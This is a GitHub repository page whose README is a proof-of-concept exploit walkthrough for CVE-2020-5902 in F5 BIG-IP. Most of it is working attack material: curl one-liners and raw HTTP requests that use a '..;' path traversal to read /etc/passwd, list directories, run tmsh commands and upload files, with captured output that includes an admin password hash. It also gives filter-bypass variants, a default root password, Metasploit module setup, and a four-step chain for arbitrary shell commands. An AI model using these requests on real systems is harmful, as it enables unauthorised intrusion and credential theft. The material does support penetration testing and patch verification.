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https://github.com/jas502n/CVE-2020-5902
CVE-2020-5902 BIG-IP
https://github.com/jas502n/CVE-2020-5902
Last synced: 21 days ago
JSON representation
CVE-2020-5902 BIG-IP
- Host: GitHub
- URL: https://github.com/jas502n/CVE-2020-5902
- Owner: jas502n
- Created: 2020-07-05T16:38:32.000Z (over 4 years ago)
- Default Branch: master
- Last Pushed: 2021-10-13T07:53:46.000Z (about 3 years ago)
- Last Synced: 2024-08-05T17:26:53.920Z (4 months ago)
- Language: Java
- Size: 4.65 MB
- Stars: 373
- Watchers: 9
- Forks: 112
- Open Issues: 2
-
Metadata Files:
- Readme: README.md
Awesome Lists containing this project
- awesome-hacking-lists - jas502n/CVE-2020-5902 - CVE-2020-5902 BIG-IP (Java)
README
# CVE-2020-5902 BIG-IP RCE
## Update Use /hsqldb%0a/ Bypass Rules For Java Deserialization
or `/hsqld%b` > `/hsqldb;`
```
/tmui/login.jsp/..;/hsqldb
Redirect 404 /
bypass /hsqldb;
Redirect 404 /
bypass /hsqldb%0a
include 'FileETag MTime Size
Redirect 404 /
Redirect 404 /
'
fix:
https://support.f5.com/csp/article/K52145254
```
## use python for hsqldb
## use java for hsqldb
https://github.com/Critical-Start/Team-Ares/blob/master/CVE-2020-5902/f5RCE.java
[](https://asciinema.org/a/pKUGm3EwgcDHlyWnrhDwPXJTb)
## Use Python
## BIGIP vmware ova
```
╭─root@kali /var/www/html/big_ip
╰─# md5sum *
ce16d114fc4d04f087e6ebc4cfac89a9 BIGIP-14.1.2.6-0.0.2.ALL-vmware.ova
b57614da7bdacdd76c14546bd910add5 BIGIP-15.1.0-0.0.31.ALL-vmware.ova
#### Console Default Password
https://www.question-defense.com/2011/03/28/f5-big-ip-ltm-ve-default-login-big-ip-local-traffic-manager-virtual-edition-console-login
`root/default`
```
## poc
https://twitter.com/x4ce/status/1279790599793545216
```
RCE:
curl -v -k 'https://[F5 Host]/tmui/login.jsp/..;/tmui/locallb/workspace/tmshCmd.jsp?command=list+auth+user+admin'
Read File:
curl -v -k 'https://[F5 Host]/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/passwd'
```
## 0x00 List File
`/tmui/locallb/workspace/directoryList.jsp`
Example:
`directoryPath=/usr/local/www/`
#### BurpSuite Request
```
GET /tmui/login.jsp/..;/tmui/locallb/workspace/directoryList.jsp?directoryPath=/usr/local/www/ HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Cookie: JSESSIONID=65ACC6C79B31335D71E4F432DB39EA50
Connection: close
Upgrade-Insecure-Requests: 1
```
#### BurpSuite Response
```
{
"dir": "tmui",
"children": [
{
"dir": "WEB-INF",
"children": [
{
"dir": "classes",
"children": [
{
"dir": "org",
"children": [
{
"dir": "apache",
"children": [
{
"dir": "jsp",
"children": [
{
"dir": "common",
"children": [
{
"file": "deleteconfirm_jsp.class"
............................
```
## 0x01 Read File
Example:
`/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/passwd`
#### BurpSuite Requests
```
GET /tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/passwd HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
```
#### BurpSuite Response
```
{
"output": "root:x:0:0:root:/root:/bin/bash\nbin:x:1:1:bin:/bin:/sbin/nologin\ndaemon:x:2:2:daemon:/sbin:/sbin/nologin\nadm:x:3:4:adm:/var/adm:/sbin/nologin\nlp:x:4:7:lp:/var/spool/lpd:/sbin/nologin\nmail:x:8:12:mail:/var/spool/mail:/sbin/nologin\nuucp:x:10:14:uucp:/var/spool/uucp:/sbin/nologin\noperator:x:11:0:operator:/root:/sbin/nologin\nnobody:x:99:99:Nobody:/:/sbin/nologin\ntmshnobody:x:32765:32765:tmshnobody:/:/sbin/nologin\nadmin:x:0:500:Admin User:/home/admin:/sbin/nologin\nvcsa:x:69:69:virtual console memory owner:/dev:/sbin/nologin\ndbus:x:81:81:System message bus:/:/sbin/nologin\npostgres:x:26:26:PostgreSQL Server:/var/local/pgsql/data:/sbin/nologin\nf5_remoteuser:x:499:499:f5 remote user account:/home/f5_remoteuser:/sbin/nologin\noprofile:x:16:16:Special user account to be used by OProfile:/:/sbin/nologin\ntcpdump:x:72:72::/:/sbin/nologin\nrpc:x:32:32:Rpcbind Daemon:/var/cache/rpcbind:/sbin/nologin\nhsqldb:x:96:96::/var/lib/hsqldb:/sbin/nologin\napache:x:48:48:Apache:/usr/local/www:/sbin/nologin\ntomcat:x:91:91:Apache Tomcat:/usr/share/tomcat:/sbin/nologin\nmysql:x:98:98:MySQL server:/var/lib/mysql:/sbin/nologin\nnamed:x:25:25:Named:/var/named:/bin/false\nqemu:x:107:107:qemu user:/:/sbin/nologin\nsshd:x:74:74:Privilege-separated SSH:/var/empty/sshd:/sbin/nologin\nsdm:x:498:495:sdmuser:/var/sdm:/bin/false\nntp:x:38:38::/etc/ntp:/sbin/nologin\nsyscheck:x:199:10::/:/sbin/nologin\nrestnoded:x:198:198::/:/sbin/nologin\ntwister5:x:0:500:twister5:/home/twister5:/bin/bash\n"
}
```
#### format
```
root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
mail:x:8:12:mail:/var/spool/mail:/sbin/nologin
uucp:x:10:14:uucp:/var/spool/uucp:/sbin/nologin
operator:x:11:0:operator:/root:/sbin/nologin
nobody:x:99:99:Nobody:/:/sbin/nologin
tmshnobody:x:32765:32765:tmshnobody:/:/sbin/nologin
admin:x:0:500:Admin User:/home/admin:/sbin/nologin
vcsa:x:69:69:virtual console memory owner:/dev:/sbin/nologin
dbus:x:81:81:System message bus:/:/sbin/nologin
postgres:x:26:26:PostgreSQL Server:/var/local/pgsql/data:/sbin/nologin
f5_remoteuser:x:499:499:f5 remote user account:/home/f5_remoteuser:/sbin/nologin
oprofile:x:16:16:Special user account to be used by OProfile:/:/sbin/nologin
tcpdump:x:72:72::/:/sbin/nologin
rpc:x:32:32:Rpcbind Daemon:/var/cache/rpcbind:/sbin/nologin
hsqldb:x:96:96::/var/lib/hsqldb:/sbin/nologin
apache:x:48:48:Apache:/usr/local/www:/sbin/nologin
tomcat:x:91:91:Apache Tomcat:/usr/share/tomcat:/sbin/nologin
mysql:x:98:98:MySQL server:/var/lib/mysql:/sbin/nologin
named:x:25:25:Named:/var/named:/bin/false
qemu:x:107:107:qemu user:/:/sbin/nologin
sshd:x:74:74:Privilege-separated SSH:/var/empty/sshd:/sbin/nologin
sdm:x:498:495:sdmuser:/var/sdm:/bin/false
ntp:x:38:38::/etc/ntp:/sbin/nologin
syscheck:x:199:10::/:/sbin/nologin
restnoded:x:198:198::/:/sbin/nologin
twister5:x:0:500:twister5:/home/twister5:/bin/bash
```
## 0x02 RCE (execute arbitrary system commands)
Example:
`/tmui/login.jsp/..;/tmui/locallb/workspace/tmshCmd.jsp?command=list+auth+user+admin`
`list auth user` look all user
`list auth user admin` only look admin user
https://devcentral.f5.com/s/question/0D51T00006i7hq9/tmsh-command-to-list-all-users-in-all-partitions
```
GET /tmui/login.jsp/..;/tmui/locallb/workspace/tmshCmd.jsp?command=list+auth+user+admin HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
```
```
{
"error": "",
"output": "auth user admin {\n description \"Admin User\"\n encrypted-password $6$bEhBobYGG3$zmQ.k2Yw4E3iOAJu1jDIrE.LClSUq6xdLyNTvgDy14FIeDsxdnwAxkxUlpSQ7F60Y3tzKsUAKz.2qRtPLa.dx1\n partition Common\n partition-access {\n all-partitions {\n role admin\n }\n }\n shell tmsh\n}\n"
}
```
#### format
```
description "Admin User"
encrypted-password $6$bEhBobYGG3$zmQ.k2Yw4E3iOAJu1jDIrE.LClSUq6xdLyNTvgDy14FIeDsxdnwAxkxUlpSQ7F60Y3tzKsUAKz.2qRtPLa.dx1
partition Common
partition-access {
all-partitions {
role admin
}
}
shell tmsh
}
```
#### WorkspaceUtils.runTmshCommand
`JSONObject resultObject = WorkspaceUtils.runTmshCommand(cmd, request);`
`/usr/local/www/tmui/WEB-INF/lib/tmui.jar/com.f5.tmui.locallb.handler.workspace.WorkspaceUtils#runTmshCommand`
```
public static JSONObject runTmshCommand(String command, HttpServletRequest request) {
F5Logger logger = (F5Logger)F5Logger.getLogger(WorkspaceUtils.class);
JSONObject resultObject = new JSONObject();
String output = "";
String error = "";
if (!csrfValidated(request.getHeader("_bufvalue"), request.getHeader("_timenow"), request.getHeader("Tmui-Dubbuf"))) {
logger.warn("Invalid user token - token provided by user is not authorized");
resultObject.put("output", output);
resultObject.put("error", NLSEngine.getString("ilx.workspace.error.InvalidUserToken"));
return resultObject;
}
if ("POST".equalsIgnoreCase(request.getMethod())) {
String[] cmdArray = command.split(" ");
String operation = cmdArray[0];
String module = cmdArray[2];
if (!ShellCommandValidator.checkForBadShellCharacters(command) && (operation.equals("create") || operation.equals("delete") || operation.equals("list") || operation.equals("modify")) && WHITELISTED_TMSH_MODULES.contains(module)) {
try {
String[] args = { command };
Syscall.Result result = Syscall.callElevated(Syscall.TMSH, args);
output = result.getOutput();
error = result.getError();
} catch (com.f5.tmui.util.Syscall.CallException e) {
logger.error(NLSEngine.getString("ilx.workspace.error.TmshCommandFailed") + ": " + e.getMessage());
error = e.getMessage();
}
} else {
error = NLSEngine.getString("ilx.workspace.error.RejectedTmshCommand");
}
} else {
error = NLSEngine.getString("ilx.workspace.error.InvalidMethod");
}
resultObject.put("output", output);
resultObject.put("error", error);
return resultObject;
}
```
## 0x03 Upload File
Example:
`/tmui/locallb/workspace/fileSave.jsp`
POST:
`fileName=/tmp/1.txt&content=CVE-2020-5902`
#### Burpsuite Requests
```
POST /tmui/login.jsp/..;/tmui/locallb/workspace/fileSave.jsp HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:55.0) Gecko/20100101 Firefox/55.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 41
fileName=/tmp/1.txt&content=CVE-2020-5902
HTTP/1.1 200 OK
Date: Mon, 06 Jul 2020 02:05:29 GMT
X-Frame-Options: SAMEORIGIN
Strict-Transport-Security: max-age=16070400; includeSubDomains
Set-Cookie: JSESSIONID=x; Path=/tmui; Secure; HttpOnly
Content-Type: text/html;charset=ISO-8859-1
X-Content-Type-Options: nosniff
X-XSS-Protection: 1; mode=block
Content-Security-Policy: default-src 'self' 'unsafe-inline' 'unsafe-eval' data: blob:; img-src 'self' data: http://127.4.1.1 http://127.4.2.1
Vary: Accept-Encoding
Content-Length: 4
Connection: close
```
#### File Read /tmp/1.txt
```
GET /tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/tmp/1.txt HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:55.0) Gecko/20100101 Firefox/55.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
```
```
HTTP/1.1 200 OK
Date: Mon, 06 Jul 2020 02:06:07 GMT
X-Frame-Options: SAMEORIGIN
Strict-Transport-Security: max-age=16070400; includeSubDomains
Set-Cookie: JSESSIONID=x; Path=/tmui; Secure; HttpOnly
Content-Type: text/html;charset=ISO-8859-1
X-Content-Type-Options: nosniff
X-XSS-Protection: 1; mode=block
Content-Security-Policy: default-src 'self' 'unsafe-inline' 'unsafe-eval' data: blob:; img-src 'self' data: http://127.4.1.1 http://127.4.2.1
Vary: Accept-Encoding
Content-Length: 32
Connection: close
{"output":"CVE-2020-5902\n"}
```
#### upload /tmp/1.txt Successful ！
## 0x04 MSF f5_bigip_tmui_rce
https://github.com/rapid7/metasploit-framework/blob/0417e88ff24bf05b8874c953bd91600f10186ba4/modules/exploits/linux/http/f5_bigip_tmui_rce.rb
#### msf use
`wget -P /usr/share/metasploit-framework/modules/exploits/linux/http/ https://raw.githubusercontent.com/rapid7/metasploit-framework/0417e88ff24bf05b8874c953bd91600f10186ba4/modules/exploits/linux/http/f5_bigip_tmui_rce.rb`
`reload_all`
`exploit/linux/http/f5_bigip_tmui_rce 2020-06-30 excellent Yes F5 BIG-IP TMUI Directory Traversal and File Upload RCE`
```
╭─root@kali ~
╰─# msfconsole
, ,
/ \
((__---,,,---__))
(_) O O (_)_________
\ _ / |\
o_o \ M S F | \
\ _____ | *
||| WW|||
||| |||
=[ metasploit v5.0.87-dev ]
+ -- --=[ 2007 exploits - 1096 auxiliary - 343 post ]
+ -- --=[ 562 payloads - 45 encoders - 10 nops ]
+ -- --=[ 7 evasion ]
Metasploit tip: After running db_nmap, be sure to check out the result of hosts and services
msf5 > reload_all
[*] Reloading modules from all module paths...
.;lxO0KXXXK0Oxl:.
,o0WMMMMMMMMMMMMMMMMMMKd,
'xNMMMMMMMMMMMMMMMMMMMMMMMMMWx,
:KMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMK:
.KMMMMMMMMMMMMMMMWNNNWMMMMMMMMMMMMMMMX,
lWMMMMMMMMMMMXd:.. ..;dKMMMMMMMMMMMMo
xMMMMMMMMMMWd. .oNMMMMMMMMMMk
oMMMMMMMMMMx. dMMMMMMMMMMx
.WMMMMMMMMM: :MMMMMMMMMM,
xMMMMMMMMMo lMMMMMMMMMO
NMMMMMMMMW ,cccccoMMMMMMMMMWlccccc;
MMMMMMMMMX ;KMMMMMMMMMMMMMMMMMMX:
NMMMMMMMMW. ;KMMMMMMMMMMMMMMX:
xMMMMMMMMMd ,0MMMMMMMMMMK;
.WMMMMMMMMMc 'OMMMMMM0,
lMMMMMMMMMMk. .kMMO'
dMMMMMMMMMMWd' ..
cWMMMMMMMMMMMNxc'. ##########
.0MMMMMMMMMMMMMMMMWc #+# #+#
;0MMMMMMMMMMMMMMMo. +:+
.dNMMMMMMMMMMMMo +#++:++#+
'oOWMMMMMMMMo +:+
.,cdkO0K; :+: :+:
:::::::+:
Metasploit
=[ metasploit v5.0.87-dev ]
+ -- --=[ 2007 exploits - 1096 auxiliary - 343 post ]
+ -- --=[ 562 payloads - 45 encoders - 10 nops ]
+ -- --=[ 7 evasion ]
Metasploit tip: Save the current environment with the save command, future console restarts will use this environment again
msf5 > search f5_bigip
Matching Modules
================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 auxiliary/dos/http/f5_bigip_apm_max_sessions normal No F5 BigIP Access Policy Manager Session Exhaustion Denial of Service
1 auxiliary/gather/f5_bigip_cookie_disclosure normal No F5 BigIP Backend Cookie Disclosure
2 auxiliary/scanner/http/f5_bigip_virtual_server normal No F5 BigIP HTTP Virtual Server Scanner
3 exploit/linux/ssh/f5_bigip_known_privkey 2012-06-11 excellent No F5 BIG-IP SSH Private Key Exposure
4 exploit/linux/http/f5_bigip_tmui_rce 2020-06-30 excellent Yes F5 BIG-IP TMUI Directory Traversal and File Upload RCE
msf5 >
```
## tmshCmd.jsp + fileSave.jsp = Linux RCE
```
1. tmshCmd.jsp?command=create+cli+alias+private+list+command+bash
2. fileSave.jsp?fileName=/tmp/cmd&content=id
3. tmshCmd.jsp?command=list+/tmp/cmd
4. tmshCmd.jsp?command=delete+cli+alias+private+list
````
